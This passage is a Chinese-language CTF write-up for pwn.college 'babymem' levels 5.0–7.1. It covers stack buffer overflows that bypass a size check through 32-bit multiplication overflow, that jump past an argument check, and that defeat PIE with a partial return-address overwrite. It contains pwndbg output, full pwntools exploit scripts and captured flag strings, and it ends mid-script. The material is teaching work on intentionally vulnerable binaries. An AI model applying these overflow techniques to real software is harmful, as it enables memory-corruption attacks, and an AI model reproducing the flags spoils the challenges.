通过程序给出的提示信息我们已经知道 payload 的大小为 144 bytes,所以我们要做的就是想办法满足在 v8 * v9 > 0x62 不成立的前提下获得起码 144 bytes 的输入大小。因为最后 read 的输入的大小是通过 nbytes = v8 * (unsigned __int64)v9; 设置的,所以我们只要关注 v8v9 的选择。

如果我们输入两个 -1,那确实绕过了 v8 * v9 > 0x62。但是调试发现 nbytes 超出 ssize_t 的大小(显然 0xfffffffe00000001 > 2**63-1)会导致 read 不会读取任何数据,直接返回 -1,最后程序抛出异常并退出:

pwndbg> c
Continuing.
Breakpoint 2, 0x000000000040291c in challenge ()
20 collapsed lines
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX 0x7ffd77ce3510 ◂— 0
RBX 0x7ffd77ce46e8 —▸ 0x7ffd77ce55a2 ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-5-0'
RCX 0
*RDX 0xfffffffe00000001
*RDI 0
*RSI 0x7ffd77ce3510 ◂— 0
*R8 0x75
*R9 0xffffffec
R10 0
*R11 0x202
R12 1
R13 0
R14 0x796eb2ce0000 (_rtld_global) —▸ 0x796eb2ce12e0 ◂— 0
R15 0
RBP 0x7ffd77ce3590 —▸ 0x7ffd77ce45c0 —▸ 0x7ffd77ce4660 —▸ 0x7ffd77ce46c0 ◂— 0
RSP 0x7ffd77ce34e0 ◂— 0xa /* '\n' */
*RIP 0x40291c (challenge+1342) ◂— call 0x401170
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
0x40291c <challenge+1342> call read@plt <read@plt>
fd: 0 (pipe:[419970])
buf: 0x7ffd77ce3510 ◂— 0
nbytes: 0xfffffffe00000001
30 collapsed lines
0x402921 <challenge+1347> mov dword ptr [rbp - 0x14], eax
0x402924 <challenge+1350> cmp dword ptr [rbp - 0x14], 0
0x402928 <challenge+1354> jns challenge+1400 <challenge+1400>
0x40292a <challenge+1356> call __errno_location@plt <__errno_location@plt>
0x40292f <challenge+1361> mov eax, dword ptr [rax]
0x402931 <challenge+1363> mov edi, eax
0x402933 <challenge+1365> call strerror@plt <strerror@plt>
0x402938 <challenge+1370> mov rsi, rax
0x40293b <challenge+1373> lea rdi, [rip + 0x147e] RDI => 0x403dc0 ◂— 'ERROR: Failed to read input -- %s!\n'
0x402942 <challenge+1380> mov eax, 0 EAX => 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000rsp 0x7ffd77ce34e0 ◂— 0xa /* '\n' */
01:0008│-0a8 0x7ffd77ce34e8 —▸ 0x7ffd77ce46f8 —▸ 0x7ffd77ce55d8 ◂— 'MOTD_SHOWN=pam'
02:0010│-0a0 0x7ffd77ce34f0 —▸ 0x7ffd77ce46e8 —▸ 0x7ffd77ce55a2 ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-5-0'
03:0018│-098 0x7ffd77ce34f8 ◂— 0x100000000
04:0020│-090 0x7ffd77ce3500 —▸ 0x7ffd77ce3520 ◂— 0
05:0028│-088 0x7ffd77ce3508 ◂— 0xffffffffffffffff
06:0030rax rsi 0x7ffd77ce3510 ◂— 0
07:0038│-078 0x7ffd77ce3518 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
0 0x40291c challenge+1342
1 0x402b32 main+198
2 0x796eb2aade08
3 0x796eb2aadecc __libc_start_main+140
4 0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> c
Continuing.
Breakpoint 3, 0x0000000000402921 in challenge ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
───────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────
*RAX 0xffffffffffffffff
RBX 0x7ffd77ce46e8 —▸ 0x7ffd77ce55a2 ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-5-0'
*RCX 0x796eb2b93c21 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX 0xffffffffffffff88
13 collapsed lines
RDI 0
RSI 0x7ffd77ce3510 ◂— 0
R8 0x75
R9 0xffffffec
R10 0
*R11 0x246
R12 1
R13 0
R14 0x796eb2ce0000 (_rtld_global) —▸ 0x796eb2ce12e0 ◂— 0
R15 0
RBP 0x7ffd77ce3590 —▸ 0x7ffd77ce45c0 —▸ 0x7ffd77ce4660 —▸ 0x7ffd77ce46c0 ◂— 0
RSP 0x7ffd77ce34e0 ◂— 0xa /* '\n' */
*RIP 0x402921 (challenge+1347) ◂— mov dword ptr [rbp - 0x14], eax
────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────────────────────────────
0x40291c <challenge+1342> call read@plt <read@plt>
0x402921 <challenge+1347> mov dword ptr [rbp - 0x14], eax [0x7ffd77ce357c] => 0xffffffff
0x402924 <challenge+1350> cmp dword ptr [rbp - 0x14], 0 0xffffffff - 0x0 EFLAGS => 0x286 [ cf PF af zf SF IF df of ]
0x402928 <challenge+1354> jns challenge+1400 <challenge+1400>
0x40292a <challenge+1356> call __errno_location@plt <__errno_location@plt>
24 collapsed lines
0x40292f <challenge+1361> mov eax, dword ptr [rax]
0x402931 <challenge+1363> mov edi, eax
0x402933 <challenge+1365> call strerror@plt <strerror@plt>
0x402938 <challenge+1370> mov rsi, rax
0x40293b <challenge+1373> lea rdi, [rip + 0x147e] RDI => 0x403dc0 ◂— 'ERROR: Failed to read input -- %s!\n'
0x402942 <challenge+1380> mov eax, 0 EAX => 0
─────────────────────────────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────────────────────────────
00:0000rsp 0x7ffd77ce34e0 ◂— 0xa /* '\n' */
01:0008│-0a8 0x7ffd77ce34e8 —▸ 0x7ffd77ce46f8 —▸ 0x7ffd77ce55d8 ◂— 'MOTD_SHOWN=pam'
02:0010│-0a0 0x7ffd77ce34f0 —▸ 0x7ffd77ce46e8 —▸ 0x7ffd77ce55a2 ◂— '/home/cub3y0nd/Projects/pwn.college/babymem-level-5-0'
03:0018│-098 0x7ffd77ce34f8 ◂— 0x100000000
04:0020│-090 0x7ffd77ce3500 —▸ 0x7ffd77ce3520 ◂— 0
05:0028│-088 0x7ffd77ce3508 ◂— 0xffffffffffffffff
06:0030rsi 0x7ffd77ce3510 ◂— 0
07:0038│-078 0x7ffd77ce3518 ◂— 0
───────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────────────────────────────
0 0x402921 challenge+1347
1 0x402b32 main+198
2 0x796eb2aade08
3 0x796eb2aadecc __libc_start_main+140
4 0x4011fe _start+46
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

查看 read 的定义,让我忍不住想吐槽这奇葩的设计:为了能够返回有符号数错误码,返回值类型被设置为 ssize_t,但是可接收的最大输入值类型为 size_t。显然 ssize_t < size_t,也就是说我们提供的输入大小可能超出返回值(输入进去的数据的大小)的可承载范围,如果超出了就抛出 -1。但又没有办法做到返回值类型和最大输入类型的匹配,如果返回值类型改成 size_t 就会出现错误码和输入大小混淆的问题;如果最大输入大小类型改成 ssize_t 又很不合理,因为我们显然不能输入大小为负的内容。

// attributes: thunk
ssize_t read(int fd, void *buf, size_t nbytes)
{
return read(fd, buf, nbytes);
}

言归正传,既然我们不能通过最方便的两个 -1 解决问题,那么下面就思考一下整数溢出的其它特点。

我们注意到在判断 v8 * v9 > 0x62 的时候做的都是 32 bits 运算:

0x40277d <challenge+927> mov edx, dword ptr [rbp - 0x88] EDX, [0x7ffcfb641768] => 0xffffffff
0x402783 <challenge+933> mov eax, dword ptr [rbp - 0x84] EAX, [0x7ffcfb64176c] => 0xffffffff
0x402789 <challenge+939> imul eax, edx
0x40278c <challenge+942> cmp eax, 0x62 0x1 - 0x62 EFLAGS => 0x297 [ CF PF AF zf SF IF df of ]
0x40278f <challenge+945> ✔ jbe challenge+978 <challenge+978>

两个 -1 行不通是因为它们相乘得到的无符号结果太大了,超出了 ssize_t 的可容纳范围。那有没有两个数可以在绕过 v8 * v9 > 0x62 且乘积的无符号表示大小不低于 144 的前提下又保证处于 ssize_t 的范围呢?

如果我们提供的输入是 INT32_MAX,或者 INT32_MIN,和 2,或其它任何满足 (v8 * v9) & 0xffffffff == 0x0 的一对数,就可以巧妙的绕过 v8 * v9 > 0x62 的判断了!

这用到了整数溢出的原理,INT32_MAX * 2 或者 INT32_MIN * 2 都会溢出到更高位,低位就变成 0 了。而我们在做判断的时候只使用了低 32 bits,不关心高位的情况,那么只要让低 32 bits 的大小小于等于 0x62 即可。

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-5-0"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
b *challenge+927
b *challenge+1326
b *challenge+1342
b *challenge+1347
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch(debug=False)
payload = b"".ljust(136, b"A") + p64(0x4022D7)
INT32_MAX = str((2**31)).encode()
target.recvuntil(b"Number of payload records to send: ")
target.sendline(INT32_MAX)
target.recvuntil(b"Size of each payload record: ")
target.sendline(b"2")
target.sendline(payload)
target.recvall()

Flag

Flag: pwn.college{AcH-0L9UpmOONC81mhni9OzJVhD.01N5IDL5cTNxgzW}

Level 5.1

Information

Description

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

Write-up

18 collapsed lines
__int64 challenge()
{
int *v0; // rax
char *v1; // rax
unsigned int v3; // [rsp+28h] [rbp-98h] BYREF
unsigned int v4; // [rsp+2Ch] [rbp-94h] BYREF
_QWORD v5[14]; // [rsp+30h] [rbp-90h] BYREF
int v6; // [rsp+A0h] [rbp-20h]
__int16 v7; // [rsp+A4h] [rbp-1Ch]
char v8; // [rsp+A6h] [rbp-1Ah]
int v9; // [rsp+ACh] [rbp-14h]
size_t nbytes; // [rsp+B0h] [rbp-10h]
void *buf; // [rsp+B8h] [rbp-8h]
memset(v5, 0, sizeof(v5));
v6 = 0;
v7 = 0;
v8 = 0;
buf = v5;
nbytes = 0LL;
printf("Number of payload records to send: ");
__isoc99_scanf("%u", &v4);
if ( !v4 )
__assert_fail("record_num > 0", "/challenge/babymem-level-5-1.c", 0x49u, "challenge");
printf("Size of each payload record: ");
__isoc99_scanf("%u", &v3);
if ( !v3 )
__assert_fail("record_size > 0", "/challenge/babymem-level-5-1.c", 0x4Cu, "challenge");
if ( v3 * v4 > 0x77 )
__assert_fail("record_size * record_num <= 119", "/challenge/babymem-level-5-1.c", 0x4Du, "challenge");
nbytes = v3 * (unsigned __int64)v4;
printf("Send your payload (up to %lu bytes)!\n", nbytes);
v9 = read(0, buf, nbytes);
if ( v9 < 0 )
{
v0 = __errno_location();
7 collapsed lines
v1 = strerror(*v0);
printf("ERROR: Failed to read input -- %s!\n", v1);
exit(1);
}
puts("Goodbye!");
return 0LL;
}

不写了不写了,和上一题思路一样,自己去调试查 win 地址和 padding 大小就好啦~

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-5-1"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"".ljust(0x98, b"A") + p64(0x401A48)
INT32_MAX = str((2**31)).encode()
target.recvuntil(b"Number of payload records to send: ")
target.sendline(INT32_MAX)
target.recvuntil(b"Size of each payload record: ")
target.sendline(b"2")
target.sendline(payload)
target.recvall()

Flag

Flag: pwn.college{A2rdZkIDLVjvpTrAPvlwpllVi7m.0FO5IDL5cTNxgzW}

Level 6.0

Information

Description

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

Write-up

4 collapsed lines
void __fastcall win_authed(int a1)
{
int *v1; // rax
char *v2; // rax
int *v3; // rax
char *v4; // rax
if ( a1 == 0x1337 )
{
puts("You win! Here is your flag:");
flag_fd_5715 = open("/flag", 0);
24 collapsed lines
if ( flag_fd_5715 < 0 )
{
v1 = __errno_location();
v2 = strerror(*v1);
printf("\n ERROR: Failed to open the flag -- %s!\n", v2);
if ( geteuid() )
{
puts(" Your effective user id is not 0!");
puts(" You must directly run the suid binary in order to have the correct permissions!");
}
exit(-1);
}
flag_length_5716 = read(flag_fd_5715, &flag_5714, 0x100uLL);
if ( flag_length_5716 <= 0 )
{
v3 = __errno_location();
v4 = strerror(*v3);
printf("\n ERROR: Failed to read the flag -- %s!\n", v4);
exit(-1);
}
write(1, &flag_5714, flag_length_5716);
puts("\n");
}
}

思路是覆盖返回地址,返回到 win_authed。但是由于 win_authed 会先检查传入参数是否为 0x1337,匹配才给 flag,所以我们光返回到 win_authed 还不够。要么想办法传入参数 0x1337,要么返回到 if 判断之后的指令,直接跳过执行判断的部分。这里我们使用第二种方法。

void __fastcall win_authed(int a1)
{
if ( a1 == 0x1337 ) { /* ... */ }
}
pwndbg> disass win_authed
Dump of assembler code for function win_authed:
1 collapsed line
0x0000000000401987 <+0>: endbr64
0x000000000040198b <+4>: push rbp
0x000000000040198c <+5>: mov rbp,rsp
0x000000000040198f <+8>: sub rsp,0x10
0x0000000000401993 <+12>: mov DWORD PTR [rbp-0x4],edi
0x0000000000401996 <+15>: cmp DWORD PTR [rbp-0x4],0x1337
0x000000000040199d <+22>: jne 0x401aa1 <win_authed+282>
0x00000000004019a3 <+28>: lea rdi,[rip+0x1746] # 0x4030f0
0x00000000004019aa <+35>: call 0x401110 <puts@plt>
0x00000000004019af <+40>: mov esi,0x0
55 collapsed lines
0x00000000004019b4 <+45>: lea rdi,[rip+0x1751] # 0x40310c
0x00000000004019bb <+52>: mov eax,0x0
0x00000000004019c0 <+57>: call 0x401170 <open@plt>
0x00000000004019c5 <+62>: mov DWORD PTR [rip+0x4675],eax # 0x406040 <flag_fd.5715>
0x00000000004019cb <+68>: mov eax,DWORD PTR [rip+0x466f] # 0x406040 <flag_fd.5715>
0x00000000004019d1 <+74>: test eax,eax
0x00000000004019d3 <+76>: jns 0x401a22 <win_authed+155>
0x00000000004019d5 <+78>: call 0x401100 <__errno_location@plt>
0x00000000004019da <+83>: mov eax,DWORD PTR [rax]
0x00000000004019dc <+85>: mov edi,eax
0x00000000004019de <+87>: call 0x4011a0 <strerror@plt>
0x00000000004019e3 <+92>: mov rsi,rax
0x00000000004019e6 <+95>: lea rdi,[rip+0x172b] # 0x403118
0x00000000004019ed <+102>: mov eax,0x0
0x00000000004019f2 <+107>: call 0x401130 <printf@plt>
0x00000000004019f7 <+112>: call 0x401140 <geteuid@plt>
0x00000000004019fc <+117>: test eax,eax
0x00000000004019fe <+119>: je 0x401a18 <win_authed+145>
0x0000000000401a00 <+121>: lea rdi,[rip+0x1741] # 0x403148
0x0000000000401a07 <+128>: call 0x401110 <puts@plt>
0x0000000000401a0c <+133>: lea rdi,[rip+0x175d] # 0x403170
0x0000000000401a13 <+140>: call 0x401110 <puts@plt>
0x0000000000401a18 <+145>: mov edi,0xffffffff
0x0000000000401a1d <+150>: call 0x401190 <exit@plt>
0x0000000000401a22 <+155>: mov eax,DWORD PTR [rip+0x4618] # 0x406040 <flag_fd.5715>
0x0000000000401a28 <+161>: mov edx,0x100
0x0000000000401a2d <+166>: lea rsi,[rip+0x462c] # 0x406060 <flag.5714>
0x0000000000401a34 <+173>: mov edi,eax
0x0000000000401a36 <+175>: call 0x401150 <read@plt>
0x0000000000401a3b <+180>: mov DWORD PTR [rip+0x471f],eax # 0x406160 <flag_length.5716>
0x0000000000401a41 <+186>: mov eax,DWORD PTR [rip+0x4719] # 0x406160 <flag_length.5716>
0x0000000000401a47 <+192>: test eax,eax
0x0000000000401a49 <+194>: jg 0x401a77 <win_authed+240>
0x0000000000401a4b <+196>: call 0x401100 <__errno_location@plt>
0x0000000000401a50 <+201>: mov eax,DWORD PTR [rax]
0x0000000000401a52 <+203>: mov edi,eax
0x0000000000401a54 <+205>: call 0x4011a0 <strerror@plt>
0x0000000000401a59 <+210>: mov rsi,rax
0x0000000000401a5c <+213>: lea rdi,[rip+0x1765] # 0x4031c8
0x0000000000401a63 <+220>: mov eax,0x0
0x0000000000401a68 <+225>: call 0x401130 <printf@plt>
0x0000000000401a6d <+230>: mov edi,0xffffffff
0x0000000000401a72 <+235>: call 0x401190 <exit@plt>
0x0000000000401a77 <+240>: mov eax,DWORD PTR [rip+0x46e3] # 0x406160 <flag_length.5716>
0x0000000000401a7d <+246>: cdqe
0x0000000000401a7f <+248>: mov rdx,rax
0x0000000000401a82 <+251>: lea rsi,[rip+0x45d7] # 0x406060 <flag.5714>
0x0000000000401a89 <+258>: mov edi,0x1
0x0000000000401a8e <+263>: call 0x401120 <write@plt>
0x0000000000401a93 <+268>: lea rdi,[rip+0x1758] # 0x4031f2
0x0000000000401a9a <+275>: call 0x401110 <puts@plt>
0x0000000000401a9f <+280>: jmp 0x401aa2 <win_authed+283>
0x0000000000401aa1 <+282>: nop
0x0000000000401aa2 <+283>: leave
0x0000000000401aa3 <+284>: ret
End of assembler dump.
pwndbg>

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-6-0"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"".ljust(0x58, b"A") + p64(0x4019A3)
payload_size = str(len(payload)).encode()
target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil("Send your payload")
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{AusQ-DCHaivq4M4Tj9IZIsDv7m8.0VO5IDL5cTNxgzW}

Level 6.1

Information

Description

Overflow a buffer and smash the stack to obtain the flag, but this time bypass another check designed to prevent you from doing so!

Write-up

和上一题一样,只是需要计算一下 padding 大小和看一下返回到哪里,这里就不多赘述了。

Exploit

#!/usr/bin/python3
from pwn import context, ELF, process, remote, gdb, p64
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-6-1"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug([elf.path], gdbscript=gdbscript)
else:
return process([elf.path])
else:
return remote(HOST, PORT)
target = launch()
payload = b"".ljust(0x88, b"A") + p64(0x401DB0)
payload_size = str(len(payload)).encode()
target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil("Send your payload")
target.send(payload)
target.recvall()

Flag

Flag: pwn.college{Mlgp6gl7Ogp1vkjstLEXXOSldEM.0FMwMDL5cTNxgzW}

Level 7.0

Information

Description

Overflow a buffer and smash the stack to obtain the flag, but this time in a position independent (PIE) binary!

Write-up

这题和前两题差不多,都是计算 padding 和覆盖返回地址,唯一的区别在于它启用了 PIE 保护,导致我们无法知道确切的返回地址。这里我们通过 Partial Write 的方式绕过 PIE。

Partial Write 利用了操作系统加载程序时总是将程序加载到随机的内存页,通常内存页是 0x1000 字节,4 KB 对齐的,也就是说程序内部指令的偏移量都不可能超出这个范围,不够就分配到下一个内存页,比如 0x2000。所以开启了 PIE 的程序,尽管每次运行都被分配到不同的内存页,但它们在内存页中的偏移地址,也就是最后 3 nibbles 始终是相同的。利用这一点,我们只需要覆盖这最后 3 nibbles 即可达到控制返回地址的效果。

但由于我们没办法写入半个字节,所以我们需要猜一个 nibble,范围是 [0x0, 0xf]。将它和固定的 3 nibbles 组合输入到程序,如果地址匹配就成功跳转了。

下面看看开启 PIE 后的效果(每次运行都会随机分配基地址,但最后 3 nibbles 偏移地址始终是固定的)。

Run 1:

pwndbg> piebase
Calculated VA from /home/cub3y0nd/Projects/pwn.college/babymem-level-7-0 = 0x6123056c8000
pwndbg> i fun main
All functions matching regular expression "main":
Non-debugging symbols:
0x00006123056ca3c3 main
0x00007149f9ca4e40 __libc_start_main
0x00007149f9cb4b70 bindtextdomain
0x00007149f9cb4bb0 bind_textdomain_codeset
0x00007149f9cb86b0 textdomain
0x00007149f9d026c0 _IO_switch_to_main_wget_area
0x00007149f9d8e0b0 getdomainname
0x00007149f9d95d00 setdomainname
0x00007149f9da4b90 __getdomainname_chk
0x00007149f9db6940 __res_nquerydomain
0x00007149f9db6940 res_nquerydomain
0x00007149f9db69f0 __res_querydomain
0x00007149f9db69f0 res_querydomain
pwndbg> i fun challenge
All functions matching regular expression "challenge":
Non-debugging symbols:
0x00006123056c9d0b challenge
pwndbg> i fun win_authed
All functions matching regular expression "win_authed":
Non-debugging symbols:
0x00006123056c9bee win_authed
pwndbg>

Run 2:

pwndbg> piebase
Calculated VA from /home/cub3y0nd/Projects/pwn.college/babymem-level-7-0 = 0x622fffad3000
pwndbg> i fun main
All functions matching regular expression "main":
Non-debugging symbols:
0x0000622fffad53c3 main
0x0000781a2c3f4e40 __libc_start_main
0x0000781a2c404b70 bindtextdomain
0x0000781a2c404bb0 bind_textdomain_codeset
0x0000781a2c4086b0 textdomain
0x0000781a2c4526c0 _IO_switch_to_main_wget_area
0x0000781a2c4de0b0 getdomainname
0x0000781a2c4e5d00 setdomainname
0x0000781a2c4f4b90 __getdomainname_chk
0x0000781a2c506940 __res_nquerydomain
0x0000781a2c506940 res_nquerydomain
0x0000781a2c5069f0 __res_querydomain
0x0000781a2c5069f0 res_querydomain
pwndbg> i fun challenge
All functions matching regular expression "challenge":
Non-debugging symbols:
0x0000622fffad4d0b challenge
pwndbg> i fun win_authed
All functions matching regular expression "win_authed":
Non-debugging symbols:
0x0000622fffad4bee win_authed
pwndbg>

Exploit

#!/usr/bin/python3
from pwn import context, ELF, log, pause, process, random, remote, gdb
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-7-0"
HOST = "pwn.college"
PORT = 1337
gdbscript = """
c
"""
def launch(local=True, debug=False, aslr=False, argv=None, envp=None):
if local:
elf = ELF(FILE)
context.binary = elf
if debug:
return gdb.debug(
[elf.path] + (argv or []), gdbscript=gdbscript, aslr=aslr, env=envp
)
else:
return process([elf.path] + (argv or []), env=envp)
else:
return remote(HOST, PORT)
padding_size = 0x38
fixed_offset = b"\x0a"
possible_bytes = [bytes([i]) for i in range(0x0C, 0x10C, 0x10)]
def send_payload(target, payload):
try:
payload_size = f"{len(payload)}".encode()
target.recvuntil(b"Payload size: ")
target.sendline(payload_size)
target.recvuntil(b"Send your payload")
target.send(payload)
response = target.recvall()
return b"You win!" in response
except Exception as e:
log.exception(f"An error occurred: {e}")
return False
while True:
try:
target = launch()
payload = b"A" * padding_size
payload += fixed_offset + random.choice(possible_bytes)
log.info(f"Trying payload: {payload.hex()}")
if send_payload(target, payload):
log.success("Success! Exiting...")
pause()
exit()
except Exception as e:
log.exception(f"An error occurred in main loop: {e}")

Flag

Flag: pwn.college{0svlAHsYG0L-ONps0VQ3ssICrbb.0VMwMDL5cTNxgzW}

Level 7.1

Information

Description

Overflow a buffer and smash the stack to obtain the flag, but this time in a position independent (PIE) binary!

Write-up

和上一题一样的,这里就不多赘述了。

Exploit

#!/usr/bin/python3
from pwn import context, ELF, log, pause, process, random, remote, gdb
context(log_level="debug", terminal="kitty")
FILE = "./babymem-level-7-1"